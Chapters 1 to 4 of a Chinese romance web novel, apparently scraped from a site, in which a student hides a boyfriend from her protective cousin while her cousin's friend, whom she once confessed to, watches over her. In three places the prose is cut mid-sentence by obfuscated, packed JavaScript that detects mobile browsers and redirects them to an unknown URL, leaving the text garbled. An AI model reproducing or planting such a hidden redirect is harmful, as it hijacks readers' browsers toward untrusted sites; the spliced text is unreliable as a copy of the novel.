《招惹哥哥的朋友后》 1. 第 1 章 “三!” “二!!” “一!!!” 跨年夜,河堤广场边聚集了上万人进行新年倒数,在最后一个数字声势浩大喊完的刹那,广场大屏骤然暗了下来。 与此同时,天边亮起了一抹光。 广场上随之爆发出一阵惊呼。 “快看!又是哪个有钱人在表白了吧!” 数百架无人机徐徐升空,贴着云层掠过,在夜幕上划出了细碎的光痕。 渐渐的,那光痕开始收缩,聚拢,边缘的无人机缓缓向外延伸,勾勒出一道流畅的弧线,中间的无人机层层叠叠,填充出了饱满的轮廓。 几秒后,一个由数百光点构成的巨大爱心悬停在了夜空中。 寂静的河堤另一岸,祁迹的影子被拉得颀长。高挺的眉骨下,一双乌黑瞳仁深深望着对面的人。 暖色的光晕映照在岑似宝明艳的脸上,长而密的睫毛投下浅浅的阴影。 “祁迹,特意为你准备的,惊喜吧?”那对杏眼在平时眼尾会微微上挑,此刻却得意地弯成了两轮月牙,嫣红的唇瓣笑得张扬。 他再度抬眼,看着空中那颗心微微摇摆,灯光也随之忽明忽暗,好像一颗真正在悸动着的心脏。 祁迹嘴角浮出了一丝笑意。 “等我回来……” 沉沉的嗓音让岑似宝的心脏猛地一跳,下一秒睁开了眼。 她正躺在宿舍的床上。 午睡睡得天昏地暗,一时忘了时间。岑似宝懊恼地拍了下自己的额头,将刚才的梦抛在脑后。 从那晚过后,岑似宝就没再见过祁迹,这还是第一次梦到他。 她有点不爽,打开手机,决定随机找个冤大头出气。 一月到来,市里迎来了新年第一场雪,城郊四五百平的废弃厂房也迎来了新的归属。 室外停车场上的雪被扫得干干净净,伯乐画廊的崭新牌子高高挂起。 车子由专人去泊,一群人笑着交谈,走进了大门。 “怎么选了这么个破地方。”蒋飞扬嫌弃地望了一圈灰色的混凝土立柱和弧形穹顶。 薄乐迎面走来,热情地跟他拥抱了一下,才说:“我乐意。还有,什么叫破地方,这叫工业记忆,我要的就是这风格!” 他扬了扬下巴:“虽然看着破,但是动线设计都精确计算过,所有作品都能处在你视野的黄金分割点上。” “哟。” 一旁的岑量停下脚步,认认真真打量起墙上一副灰暗色调的画,皱眉,扭头:“这个林子深的画,到底怎么火起来的?我妹最近也喜欢他。” 薄乐一笑:“不懂了吧,悲情叙事是永恒的流行主题。” 岑量两手抱怀,睨他了一眼:“少来,恐怕背后少不了你这个‘伯乐’做推手。” 薄乐轻哼一声,略过这个话题,“你刚才说咱妹妹喜欢林子深?怎么不早说,我送她啊。” 岑量摇了摇头,“她这个人,不管喜欢什么,永远是三分钟热度。”又想了想,“多弄几幅。” 薄乐比了个OK的手势,“也别都光顾着看啊,给我提点儿建议,我这回是认真的。” 说完,他看向另一个同样在仔细看画的男人,“咦,祁迹,你也喜欢林子深的画?” 众人的视线顺势望向了站在墙边的男人。 他一向不爱凑热闹,随便站着都像一幅丹青,跟他们天然不在一个图层。 今天也不知道为什么,太阳打西边出来了,竟然破天荒应了薄乐的约,出差刚回来,一下飞机就来了这儿。 他轻笑一声:“不是我。” 薄乐撞了撞他的肩膀:“哎对了,现在不是都流行数字化吗,祁总,回头也帮我搞一个。” 闻言,祁迹收回了视线,没说话,神色淡淡伸手,掸了掸肩头被撞到的地方。 薄乐看他的动作,被气笑了,“祁迹,你又来这一套,行行行,我给钱,又不让你白做工。看着光风霁月一人,实际还是个万恶的资本家。” 话音落下,岑量的手机响了。 众人瞥了眼屏幕,来电显示只有三个字:小祖宗。 他没有避让,笑着划开,语气没什么好气:“又有什么指示了?” 电话那头说了几句。 “行,不就林子深的画,我给你弄,但是也有条件。” 他表情严肃起来:“你最近是不是谈恋爱了?” 祁迹目光一顿。 “什么线人,我哪儿来的线人。”岑量嘴角扯了扯:“你发朋友圈忘屏蔽我了。” 电话那头音量陡然高升的不可思议,就连身旁的几人都能隐约感受到。 “赶紧给我分手,不合适。” “还哪方面,哪方面都不合适。” 没说两句,对面就率先挂断了电话。 薄乐凑上前:“咱妹妹?” 岑量抬眼:“是我妹妹。” “都一样。” 祁迹突然出声:“岑似宝?” 岑量有些意外,“你认识?怎么认识的?” 他基本不怎么让岑似宝跟身边的朋友接触。 祁迹颔首:“岑衡。” “哦对,差点忘了,你跟岑衡关系好。” 祁迹的语气没什么波动,却带着点奇异的冷:“谈恋爱?” 岑量头疼起来,“是啊,今天才刚看见她朋友圈发的聊天记录,对方好像还是个穷小子,一直没功夫找她谈呢。” 他长出一口气,“估计她爸妈也不知道这事儿,还有她亲哥,岑衡,得亏是现在不在市里,要是被他知道,离第三次世界大战也不远了。” 蒋飞扬唏嘘:“我看你这堂哥操的心,也不比她亲哥少了。” 薄乐笑嘻嘻揽上他肩膀:“别人不靠谱,我靠谱啊,你介绍介绍我。” 一群人笑了起来。 唯有祁迹面容隐在暗处,眼瞳越发深黑,垂眸不知在想什么。 岑量冷哼一声:“去你的,放眼这群人里,也就祁迹正派点,至于你,还是算了吧。” 说完想了想,看向祁迹:“不过祁迹肯定不喜欢我妹这种类型,也就他跟我妹接触,我能放心点。” 祁迹抬头,与他对视一眼,唇角一勾,尽显正派。 楼上洗手间里,丁耀光握着手机,正要打电话,有人来了。 他一抬头,是薄乐。 他脸色有些不自然,犹豫了一下,还是报备道:“那个,老板,我想让我女朋友也来看画展,她挺喜欢林子深的。” “行啊。”薄乐大方道:“最近事儿多,耽误你跟女朋友约会了吧?回头给你批几天带薪假,奖金加倍。” 丁耀光点头:“谢谢老板了,不过还好,她挺懂事的,从来不跟我闹。” 薄乐笑了笑,伸手到水龙头底下,水流如注,“那你可得好好珍惜了。” 难得跟老板说起生活上的事,他不自觉多说了一些,“嗨,未来怎么样还不一定呢,我们都还年轻。” “我虽然挺喜欢她的,毕竟长得漂亮,又不闹我,但她家境不太好。” “听她说是父母没了,只跟哥哥相依为命,所以我也有点顾虑。毕竟我家条件不是很好,未来买房什么的,还是希望女方家庭可以多点助力。婚姻大事,还是得好好考量的。” 薄乐若有所思看了他一眼,没再说什么,洗完手,出去了。 岑似宝挂断跟岑量的电话后,立刻飞速翻开朋友圈,果然。 家里人多,设置分组的时候偏偏漏了岑量,铸成了大错。 她也就是昨天晚上跟丁耀光聊天的时候,他有些委屈地提起,她一直没有公开他,直到早上突然想起这件事,才随手发了个朋友圈。 没想到,偏偏被岑量看到了。 岑似宝手指戳着屏幕,懊恼地将他拉入了分组。 随后纠结了两秒,眉眼又舒展开了。 不是什么大事,只要多请他吃几顿饭,岑量就会开心得不得了,什么事都会答应她的。 岑似宝愉快地打开游戏,可手机却突然震动了一下。 她眉心微蹙,但见到是丁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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岑似宝出了校门,坐上车,直奔丁耀光发来的地址而去。 只是没想到那画廊的地址这么偏,加上雪天路滑,路上特别堵,耽搁了好久才到。 刚急急下车,她就又接到了岑量的电话。 此时,一群人正站在电梯前,准备上楼。 祁迹又提起了岑衡。 这提醒了岑量,他思来想去,觉得还是得赶在岑衡回来之前,彻底摆平岑似宝的问题。 电话很快通了,他严肃道:“小宝,你今天晚上回家一趟。” 岑似宝完全没有耐心听他讲电话,随口糊弄:“哎呀哥哥,马上就要上课了,我正忙着呢!” “不能跟你说了,别耽误我学习!” “喂?你等会儿——”岑量看着已经停止通话的屏幕,哑然:“算了。” 身旁一群人笑成一片:“似宝妹妹真是厉害。” “也就你妹,敢这么三番四次挂你电话了。” 收起手机,岑量跟其他人一起走进了电梯。 岑似宝在门口登记了身份,果然没有人拦。 画廊里人很少,她被这原始的装修风格惊了一下。 想着先去找丁耀光,她没顾着欣赏画,寻找起了标识,很快便找到了电梯。 岑似宝一路直奔电梯,发现其中一座电梯门恰好正要闭合,连忙高喊了声:“等一下!” 好在门里有人及时摁了开门键,电梯门停住,接着再度打开,隐隐可见里头站了很多人。 岑似宝松了口气,急匆匆冲进了电梯,站定。 几片雪花在黑色裙摆上晕开,她垂眸理了理。 周围是一群西装笔挺,长相不俗的精英人士,正齐齐望着她看。 岑似宝眼睫微抬,习惯了别人的注视,没太在意,脆生生说:“谢谢了。” 她直起身,又拍了拍肩头的雪。 再一抬脸,却跟一双熟悉的眸子对上了,顿时一僵。 岑量眯起眼,“岑似宝,刚才不是说,要上课去的吗?” 他扫了眼电梯对面的画:“美术课啊?” 2. 第 2 章 岑似宝真没想到,丁耀光的老板,居然恰好就是岑量的朋友。 谎言被拆穿,她一时语塞。 脑子飞快转动,岑量本来就要她分手,现在可不能让他看见丁耀光。 顿了顿,她含糊着说:“不是的,我就是听说,这里有林子深的画展,所以过来看看。” 岑量眼中含着怀疑看向她:“那你怎么不告诉我?你平时出门,不是都得找人陪着的吗?” 岑似宝再度语塞,“也没有每次吧。” 电梯里的其他人应该都是岑量的朋友,全都饶有兴致地看着她。 感受到其中一道极具存在感的视线,她抬头看去,是刚才给她摁开门键的男人,眉眼深邃,笑中好似带着深意。 看清那人,岑似宝又是一顿,想到下午的梦,眼神游移。 薄乐走上前,笑眯眯地打圆场说:“好了岑量,你就别再盘问了,人家好歹也是个成年人了,得有点儿个人空间吧。” 岑似宝连连点头:“就是。” 岑量皱眉,严肃道:“这破画廊这么远,荒郊野外的,外头还下着雪,马上又要天黑了,你一个小姑娘大老远跑到这里,我还不能问问了?” 见岑似宝丧气地垂下头,他还是缓和了语气:“吃饭了吗?” 岑似宝飞快摇头。 薄乐立刻说:“那还看什么画啊,走,出去吃饭去。我是你哥朋友,早听说过你了,还是第一次看到真人呢,必须庆祝一下。” 他斜了眼岑量:“你哥防我防得,能进NBA最佳防守阵容。” 岑量将他与岑似宝隔开,手肘用力捣了一下他,“我进攻能力也特别强,要不要试试?” “你这是恶意犯规好吗。” 出了画廊,岑似宝亦步亦趋跟着岑量坐上了车。 身后一大帮人争着也来到了他车前,岑量不耐烦:“自己没开车吗?” “共乘一辆,更环保。”蒋飞扬一本正经说。 “滚。” 最后还是没能挡住薄乐,蒋飞扬,还有祁迹上了他的车。 前两个是死皮赖脸上车的,最后一个是恰好车坏了,刚联系了人来拖车。 岑量本来想在车上问问岑似宝谈恋爱的事,见现在人多,只好按下不提。 当然,也没他问话的空间,蒋飞扬跟薄乐对岑似宝格外好奇,问了她一大堆问题,从喜欢吃什么,到在学校上的什么课。 到最后,车上只有他跟祁迹清净。 他透过后视镜看了眼正望向窗外,看起来对几人的对话毫无兴趣的祁迹,再一次肯定了自己的判断。 果然只有祁迹可以让他放心。 岑量一行人带着岑似宝来到了蒋飞扬家开的餐厅,这儿是新开的,离岑似宝的学校远,她还没来过。 餐厅几乎坐满了,蒋飞扬打了声招呼,服务员带他们进了提前留好的包间。 岑似宝磨磨蹭蹭走在了最后,祁迹却还要慢一步,在她身后,瞥了眼她黑色裙摆下的一截光洁小腿,转过头,低声跟服务员说了句话。 服务员应声走了出去。 其他人没坐,等岑似宝随便挑了个座位,岑量顺理成章地坐在她身侧。 薄乐原本打算坐在她另一边,祁迹却已经落座,他抬头看了眼,祁迹的表情泰然自若,好像也是随便选的。 不做他想,薄乐在祁迹身旁坐了下来。 岑似宝悄悄瞥了眼祁迹,脊背挺直,翻看起菜单。 蒋飞扬待了会儿,解开衣领扣子,怪道:“我怎么感觉,这包间的空调温度打得比平时高了。” 一旁的陈年:“要不我叫服务员调低点?” 岑量看向岑似宝:“你热吗?” 她抬头摇了摇,“我觉得温度正好啊。” “那就不调。” 岑似宝正选着菜,突然手机传来了震动声,她低头瞥了眼手机,是丁耀光打来的。 她状似不经意地看了眼左边的岑量,又看了眼右边的祁迹,他们都正跟其他人说着话,没在看她。 她先将电话挂断,刚准备发条消息给丁耀光,身旁祁迹慢悠悠开口:“怎么不接电话?” 岑似宝做贼似的手忙脚乱收起手机,猛地抬头,祁迹靠着椅背,正在听蒋飞扬讲话。 她不自在地低声回:“只是个骚扰电话。” 随即便起身,在岑量投来的疑问视线中,支支吾吾说:“我想去外面洗个手。” 岑量皱眉:“包间里不就有洗手间?” 岑似宝结巴了一下:“我,我就想去外面的,透透气。” 岑量猜测可能是这里陌生人多,她不好意思,于是没再问,只是起身,推开椅子,“认识路吗?我带你去。” 岑似宝压低声音喊:“哎呀不用,我又不是小孩子了。” 在她百般推辞下,岑量才重新坐下,又看着岑似宝绕了一大圈。 明明祁迹那边离包间门更近,她却偏偏要从岑量那边过去。 奇怪地看了眼端坐的祁迹,岑量琢磨了一下:“我怎么突然感觉,我妹有点怕你呢?” “有吗?”祁迹举杯,喝了一口茶:“大概是心虚吧。” 岑量一愣,没听太清,凑过去问:“你刚才说什么?” 祁迹笑着摇了摇头。 薄乐也笑着凑了过来:“我也觉得似宝妹妹有点怕祁迹,是不是因为,太‘正派’了?” 对面的陈年走了过来,拿出盒烟,讨好道:“祁哥,岑哥,薄哥,要不要出去抽两根?” 他与这帮人的圈子没有那么亲近,是靠蒋飞扬的关系带进来的,因此一直上赶着套近乎。 岑量瞥他一眼,摇了一下头,“早戒了。对了,我在的时候,你们也不许抽。” 陈年堆笑道:“哟,岑哥这是交女朋友了啊?但是这是在外头,没事儿的,咱大老爷们儿,不能被女人管得太紧。” 岑量皱眉,没去搭理他,只是说:“小宝最近在家里当禁烟大使呢。” 闻言,桌上其他人视线都望了过来。 岑量扬了扬下巴:“上回她在网上看新闻,看到有个老烟枪,五十多岁就肺癌去世了,怕得不行,回来严令禁止家里任何人抽烟。” “别说看见了,就是回家的时候,闻到身上有别人抽烟沾到的一丁点儿味道,批判半小时都是轻的。” 他们家的人都不常抽烟,更没有瘾,但看她煞有介事的模样,反倒会在她面前装作拿烟逗她。 为此她还经常小发雷霆。 岑量话语嫌弃,嘴上却笑着:“这活宝,天天在群里发些肺癌患者的肺部切片图,还专挑饭点儿发,还要定期检查,不许我们屏蔽群,这谁还抽得下。” “你们谁要是想戒戒不了,我可以把图片转发给你们。” 薄乐看不过眼,推了推他:“行了,别炫耀了,照照镜子吧,你那嘴角,都快咧到天上去了。” 岑似宝走出了包间,就给丁耀光发了条消息:暂时有点事,我还是改天再去看吧。 丁耀光立刻打来了电话,她犹豫了一下,还是接起来了。 那头的声音有些不满:“到底什么事儿啊?很重要吗?我都等你很久了,刚才给你打电话怎么也不接?” 岑似宝回头张望了眼,“也没什么,是我哥找我吃饭。” “哦,不过,你之前不是说你哥出国打黑……打工去了吗?”丁耀光的语气微妙,“他回来了?这么快?” 他还以为她哥再也回不来了。 毕竟之前听岑似宝的语气,他能猜到,她哥是偷渡出去的。 岑似宝紧张地看着包间门,没怎么听他说话,“不是,离他回来还早呢,是我另一个堂哥。” 丁耀光点点头,果然回不来了。 他怜悯道:“这样啊,那你哥还挺多的。” “也还好吧,堂哥就这一个,表哥有两个。” 丁耀光暗自记下,接着试探:“那,你爸妈两边的亲戚,现在有管你们兄妹俩的生活开销吗?” 岑似宝听得有些茫然:“没有啊。” 丁耀光又是一声叹息,也是,要是会管的话,她哥也不至于偷渡到国外去打黑工了。 “好了,就这样吧,我老板出去吃饭了,既然你不来,我也先下班了。” 岑似宝原本想跟他说声,他老板跟她堂哥是朋友,叫他不要露馅,但转念一想,这样还得跟他解释岑量叫她分手的事,于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岑似宝昂着下巴,依然张扬道:“你们在不该抽烟的地方抽烟,味道呛到我了,二手烟危害我的健康了,烟灰掉到地上,污染我的眼球了,我凭什么不能管?” 男人嘿了一声,“我们就喜欢烟味,就喜欢烟灰,你管得着吗?” 她纤细的手指一竖:“要是我现在不管,你们今天敢在餐厅里抽烟,明天就敢在加油站抽烟,后天就敢在面粉厂抽烟,社会危害性极大。” 说罢,她语气缓了缓,“不过我也理解,有时候瘾上来了,是很难克制的,所以你们要是实在憋不住想抽——” “我建议你们还是去焚化炉里抽吧,那儿温度正好,烟味大,灰还多。”她两手一拍:“你们的梦中情地啊!” 不远处,蒋飞扬憋着笑,“岑量,我终于理解,你为什么说你妹的性格一般人招架不住了。刚才见到她我还纳闷,这不是挺乖一小妹妹嘛,合着刚才是特意收着了啊。” 岑量无奈地摇了摇头。 而岑似宝面前的两个男人被她连珠炮般刺了一通后,上下打量了一下她,在她的脸上多停顿了几秒,突然一对眼珠转了转,改口:“行,不抽了。” 说完掐灭了烟,看向岑似宝,嘿嘿一笑:“妹妹,你刚才说得太对了,你真是太有意思了,哥哥简直跟你一见如故,要不我们出去,去外头找个地方,再深度聊一聊抽烟的坏处?” 看着对面人高马大,不怀好意的两个男人,岑似宝警惕地后退了一步,“管谁喊妹妹呢?” “我的天,你俩长成这样,还想冒充跟我有血缘关系?羞辱谁呢?” 对面的男人脸都被气得扭曲了一下,干脆伸出手来想要抓她。 岑似宝慌乱地一退再退,突然撞上了一个宽阔的胸膛,退不动了。 而朝她抓来的那只手也随之停在了半空中。 她仰头一看,头顶祁迹垂眸看了她一眼,眼中含着薄怒,一只手还抓着那男人的手腕,力道之大,疼得他反拧着胳膊嗷嗷叫。 他身旁,岑量阴沉着脸,挽起了袖子:“两位,打算带我妹妹去哪儿啊?” 3. 第 3 章 被控制住双手的两人望了一圈,左手祁迹,右手岑量。 再后头,还站着数个面色不善的高大男人。 岑似宝已经躲到了祁迹身后,得意洋洋哼了一声。 意识到踢到铁板了,二人痛苦的表情更加痛苦,但还是连声道歉:“误会误会,都是误会啊,我们其实没想做什么,就是交流一下,交个朋友。” “对,因为我俩……打小就是林则徐的粉丝。” 岑似宝露出头来:“又把人当傻子啊?” “我们说的都是真的!” 蒋飞扬走上前,扬了扬下巴,“毕竟是我的地盘,这两个就交给我处理吧。” 薄乐关心地看向岑似宝:“似宝妹妹没事儿吧?吓着没有?” “放心吧,没有。”岑似宝摇头。 唯独岑量没有说话,用一种诡异的眼神看着岑似宝,更准确地说,是看她还在紧紧抓着祁迹衣角的手。 岑似宝也意识到了不对,二话不说松开手,走到岑量身边,抓住了他的衣角,仰脸笑了笑。 她一套流程做完,岑量紧锁的眉眼才松了开来,“你自己哥在这儿呢,跑去别人身边?” 岑似宝小声说:“刚才情况危急,他离得更近而已。” 祁迹看了眼衣摆的褶皱,未置一词。 “下回别这么冲动,”岑量担心地絮叨,“万一我们不在怎么办?” 岑似宝小步跟在他后头,“就是知道你们在,我才放心大胆地冲动啊。” “他们还没碰到我一根手指头,你们就来了,时机刚、刚、好。”她鼓鼓掌。 “你还笑。” 回到包间,岑似宝总算吃完了一顿安生饭。 旁边的祁迹把玩着手机,没去看她。 翻到朋友圈,果然没有看见岑量说的,暴露岑似宝谈恋爱的动态。她要么是也屏蔽了他,要么…… 祁迹找到了岑似宝的账号,很快便发现,她是把他删了。 拉黑还带有赌气成分,但是直接删除好友,意味不一样。 岑似宝余光里,那块突出的腕骨一动,手指不轻不重将手机倒扣在了桌上。 直到吃完了饭,两人也没有说上一句话。 他没有看岑似宝,岑似宝便也克制住自己的视线,没有再看他一眼。 “走吧,回家。”岑量将外套递给岑似宝。 “我不回家。我回寝室。”她不傻,选择回家,他再一拷问,其他家庭成员也知道了。 岑量皱眉:“怎么这么喜欢你那破寝室。” “你家才破呢。”岑似宝反驳。 “你下午骗我的事儿还没跟你算账呢,你这段时间应该已经没什么课了吧?干嘛还总待在学校?就为了谈恋爱?” 岑似宝啧啧两声:“岑量,真看不出来,你还是个恋爱脑。” 岑量:“……你还倒打一耙上了。” 岑似宝说什么都不要回家,岑量也只好将她送回学校。 上了车,他及时将车门锁上,看着窗外不得不止步的好友:“送她回学校,跟你们不顺路,自己想法子回去,别蹭我车,聒噪得要命。” 薄乐气得从地上团起一团雪就朝着离开的车屁股砸去,但岑量早有预料,一个摆尾,躲过了雪球。 岑似宝趴在窗边,看着他们笑:“下回当着他面丢!” 薄乐感慨又羡慕:“笑得可真甜啊,可惜我爸妈没给我生个妹妹。” 蒋飞扬坏笑:“回去跟你爸妈说说,现在再生也来得及。” “得了吧,也不一定能生出这么可爱,这么乖的妹妹。是吧,祁迹。” “乖?”祁迹细品,笑了一下。 车上,岑似宝嘴角耷拉着,刚才的甜笑完全消失了。 岑量正在苦口婆心地劝说她分手。 “我看你的朋友圈截图,那人说什么,想送你个礼物,打算从现在开始攒钱,等攒够了钱就送你?” 岑似宝:“怎么了?不许人家攒钱?” 岑量气不打一处来,恨不得敲敲她的脑门:“这都不明白?八字还没一撇,他现在说出来什么意思,提前预支感动是吧?而且你还拒绝了?” “现在社会上的心机男太多了,专门骗你这种不谙世事的小姑娘,其实就是看中了你的钱和你的背景,把你当跳板,根本不是真心的,知道吗。” “我又不缺礼物。”岑似宝捂住耳朵:“你这是偏见,人家是比较穷,但是什么东西都没跟我要,也从没有问我家产多少,还关心我哥跟我的生活费呢。” 岑量沉默了一瞬:“关心什么玩意儿?” 她放下手,扯了扯安全带,“总之,我有我的判断力,你们能不能不要干涉我的决定。” 红灯前,岑量透过后视镜看了眼她的表情,声音低了下来,“真喜欢这个人?” 岑似宝顿了顿,点了一下头。 他叹了一声,“先不说我,你另一个哥那关呢?” 她唰得抬头:“先别告诉我哥!” “哼,看来你也知道,他比我更难缠,你从小就更听他的话。”岑量语气泛酸。 岑似宝讨好地凑了上去:“你们都是特别好的哥哥,不分高低的。不过离他出差回来还有好一段时间呢,我这恋爱都不知道能不能谈那么久,就不要让他那个大忙人操心了。” 岑量退了一步,说:“行,那你把那个哆啦A梦的照片,还有个人信息发我一份,我查查人品怎么样。” “哆啦A梦?”岑似宝歪头:“你说谁?” 他阴阳怪气:“你男朋友啊,穷得叮当响,小叮当,不就哆啦A梦。” 岑似宝:“……你不用一直强调这一点的。” 岑量接着开车,拉长了语调:“快——点。” “哎呀你又来这一套,就不能放开手,让我独立一下吗?我会保护好自己的,你得尊重一下我和别人。” “还不是你的眼光不靠谱,你要是喜欢祁迹那样的,我也不会这么担心。祁迹知道吧?饭桌上,坐你右手边的那个。” 岑似宝声音小了一些,“知道。” 岑量打着方向盘,“不过他这个人的心思淡,也就对工作感兴趣。” 所以刚才的包间里,一圈人争着跟岑似宝介绍自己的时候,只有祁迹老神在在坐着,没出声。 岑似宝没敢说,他不出声,其实是因为用不着介绍。 一路上,岑量被她威逼利诱,说得口干舌燥,终于答应暂时不告诉岑衡,也答应再等一个月,如果到时候两人还没有分手再说其他。 随后岑量又从她的感情,问到了她实习的打算,等下了车,岑似宝快掉了一层皮。 张曼正好从外面回来,在宿舍区门口看到了她,准备跟她一起上楼。 透过车窗,张曼拘谨地跟岑量打了声招呼,岑量表情柔和:“多谢你平时照顾小宝了,她这个人爱惹麻烦,你多担待。” 她摆摆手:“没有没有,小岑一点都不麻烦,我还沾了她不少光呢。” 岑量望向岑似宝,板起脸:“记着我的话,注意点那个哆啦A梦。” 岑似宝不耐烦:“知道了,你快点走吧。” “什么哆啦A梦?”张曼疑惑。 岑似宝跟她往回走,解释了一下来源。 张曼笑得不行,“这个称号还真够贴切的,看不出来,你哥这么幽默,我本来还有点怕他。” 岑似宝撇撇嘴,“他有什么好怕的,唠叨。” “那是因为你跟他熟,反正我觉得他挺吓人的。对了,你亲哥更吓人,面无表情的样子,感觉随时会掏出一挺机.关.枪,把所有靠近你的坏人都给突突了。” 岑似宝笑得前仰后合。 张曼很喜欢跟岑似宝相处,但是最怕见到她哥,他们对待除了岑似宝之外的人,即使笑着也总透着股疏离。 回到寝室,张曼才继续说:“不过,我也想说,你就这么答应了丁耀光的追求,其实是有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016300|194191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草率了,你之前不是有喜欢的人吗?” 岑似宝甩了甩手,浑不在意:“是有啊。” “你表白失败了?”张曼是知道她搞了场大阵仗告白的,不过后来没听她提起过,感觉不妙,她就没敢问。 岑似宝目光闪烁,吞吞吐吐:“好像,也不算是失败。” “那为什么?” “我觉得,那个人不够喜欢我。” 想到席间祁迹看都不看她,一副毫不在意她动向的姿态,岑似宝就又是冷笑一声,更加坚定了自己的想法。 她认真地抬起了头,“从小到大,我爸妈、哥哥,还有家里所有的人都告诉我:我是最好的,也值得最好的。” “所以,我是不会为了一个不够喜欢我的男人,浪费一点时间、多花一点心思的,更不会去祈求他的垂怜。” 张曼怔了一下,随后朝着她竖起了一个大拇指:“清醒。我辈楷模。” 转过身去想了想,她又转了回来:“不过,你又是怎么判断他不够喜欢你的呢?” 岑似宝正要说话,手机突然收到了一条信息。 “我在楼下。” 发送人是一个陌生号码。 但仅从这语气,她就可以想象出对方从容不迫的模样。 张曼看她表情怪异,问:“谁啊?” 岑似宝没回,慢慢走到窗边,挑起了窗帘。 男性无法进入女生宿舍区,不过她们这栋宿舍楼就在大门边上,轻易便能看到楼下站着的一道高挺背影。 似有所感,那身影转过了身。 张曼凑到她身边,只在岑似宝飞快放下帘子的刹那看到了一身黑色大衣,和半张英俊的脸。 那是个陌生的脸孔,绝不是岑似宝的任何一个哥哥。 张曼想到什么,嘴角晕开了一抹笑,“这是谁啊?” 岑似宝脸上闪过一丝慌乱,随后又镇定下来:“没谁。” 她冷淡地回复了那条信息:?我好像不认识你吧 没过多久,对方不紧不慢回:是吗,那可能是发错了,抱歉,打扰了。我还是去找宿管问一问,能不能联系到岑似宝这位同学好了。 岑似宝一咬牙,在张曼的挤眉弄眼中跑下了楼。 树下,手机屏幕的反光映亮了祁迹冷峻的脸,淡漠理智。 抬眼看到远处发射过来的小炮.弹,他眼中才闪过笑意,“看来没有发错人。” “你好啊,祁总,找我有什么事吗?”炮.弹冲到跟前,语气生硬。 他看着岑似宝还穿着晚间那条裙子,皱了皱眉:“不冷?” 岑似宝立刻伸手拒绝:“别想把外套给我披,男女授受不亲,我是有男朋友的人。” 祁迹敛起笑,收回了手,将手中的袋子交给了她。 岑似宝低头一看,里面是几只半透明的保温盒,logo是刚才的那家餐厅。 她觉得味道不错,有几道菜吃得最多,恰好,全都在这里。 岑似宝愣了一下。 除此之外,还有两杯热饮,糖度也是她最喜欢的。 “还有你室友的份。” 岑似宝眉毛一挑,想揶揄他,原来刚才假装不看她,实则全程都在关注她,但好在智商在线,忍住了。 想起刚才张曼说起加班太晚,没来得及吃饭,她还是将袋子接了过来。 “谢谢。”她故意说:“我知道,肯定是岑衡出差之前,托你照顾我了。” 祁迹却没有去管她的刻意扭曲,深黑眸子直直地望着她,仿佛一路望至她心底。 “什么时候交的男朋友?”他突然开口。 岑似宝眨了下眼,但很快意识到,他并不是自己的谁,她也根本没必要心虚。 于是她理直气壮说:“跨年夜之后。” 沉默几秒后,对面传来了一声意味不明的轻笑。 温热的,带着薄茧的手指抬起了她的脸,“所以,刚跟我表完白,就跟别人在一起了?” 4. 第 4 章 出了趟差急急归来,却突然听到岑似宝谈恋爱的消息,祁迹不是不生气的。 岑似宝刚才眼神躲闪,他伸出手,原本也只是想让她抬起头,只看着自己。 但手指摩挲着她腮边,柔软的触感让他忘记了本意,指尖拨开发丝,逐渐向上,碰到了她的耳垂。 那里被风吹得冰冷,他直接覆盖住。 向往温暖,是深刻在人类基因中的,所以岑似宝下意识蹭了蹭。 祁迹看她小猫一样的神态,心中一化,来前的气也消了大半,只是沉声说:“明天跟他提分……” 手字还没说出口,身侧,一阵迟疑的声音响起:“岑似宝?宝贝,是你吗?” 丁耀光踩过雪而来,就看到不远处,一个男人正单手捧着一个女孩的脸。 那只手很大,几乎将她整张脸都捧在掌间。 他本来只投去了一眼,有些羡慕,别人家的男朋友和女朋友怎么这么亲密。 谁知扫了眼那侧脸——越看越像是自己的女朋友。 听到这有点陌生,又有点熟悉的声音,岑似宝的目光骤然清醒了,别开脸,退后了一步。 祁迹的视线移到丁耀光身上,其中冷意让他一惊。 但也很快意识到,这种冷意是来自于对方对岑似宝的觊觎。 岑似宝的追求者很多,他是知道的。 不过他向来对自己很有信心,也自豪自己成为了这群人中的胜利者,所以每每见到她的爱慕者,反而斗志昂扬。 此刻,他也暗自与对面的男人比较了一番。 乍一看,虽然自己没有他高,但是长相…… 是比他差了那么一点。不过经济实力…… 从衣着看或许也没有他有钱。可是至少气势上…… 好像也不如他足…… 但是,他应该比这个男人更年轻。 他年轻,所以他有更多的时间,而俗话说得好,时间就是金钱,所以这一点也可弥补他经济实力的不足。 这么看来,二人整体实力不分上下。 想到这里,丁耀光抬头挺胸,走上前,气沉丹田道:“你好,我叫丁耀光,是岑似宝的男朋友。” 祁迹只在丁耀光刚走来的时候看了一眼,随即目光便只放在岑似宝身上,并没有理会他暗藏的宣誓主权。 岑似宝看了看身前气定神闲的祁迹,又看了眼尴尬,但也装作气定神闲的丁耀光,头有点疼了。 她开始不耐烦了,甚至有点想一人踹一脚。 关键时刻,张曼近乎从天而降,让两人免于被踹的命运,“小岑,怎么还不上楼啊,我都等你好久了,刚才不是说要帮我找口红的吗?” 说完,好像才看见她身边的人似的,张曼惊讶道:“咦,还有别人?你们在忙啊?” 